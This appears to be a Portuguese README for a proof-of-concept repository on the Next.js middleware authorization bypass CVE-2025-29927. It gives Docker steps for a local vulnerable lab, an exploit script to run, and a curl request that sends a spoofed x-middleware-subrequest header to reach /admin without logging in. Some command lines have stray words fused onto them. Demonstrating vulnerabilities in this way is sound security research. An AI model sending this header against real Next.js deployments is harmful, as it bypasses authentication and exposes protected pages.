
Pesquisa sobre vulnerabilidade de middleware do Next.js (CVE-2025-29927) permitindo bypass de autorização e potenciais explorações.
Este repositório demonstra uma vulnerabilidade crítica no middleware do Next.js (CVE-2025-29927), que afeta as versões 11.1.4 até 15.1.7. Esta vulnerabilidade permite desvio de autorização, desvio de CSP e potenciais ataques DoS através de envenenamento de cache. O problema tem origem na forma como o cabeçalho x-middleware-subrequest é tratado, permitindo que atacantes contornem os mecanismos de proteção do middleware.
Esta prova de conceito é específica para a vulnerabilidade na v12
Configure o ambiente vulnerável usando Docker e os arquivos deste repositório executando:
git clone https://github.com/l1uk/nextjs-middleware-exploit.git
cd nextjs-middleware-exploit
docker build -t my-next-app .
docker run -p 3000:3000 my-next-app
Este repositório possui o script já criado para testar a exploração da vulnerabilidade. Para testá-lo, execute:
exploit.shchmod +x exploit.sh
./exploit.sh
Além disso, você pode testar a exploração da vulnerabilidade tentando o seguinte
login.curl -i http://localhost:3000/admin
x-middleware-subrequest. Você deve conseguir contornar a página de autenticação.curl -i -H "x-middleware-subrequest: pages/_middleware" http://localhost:3000/admin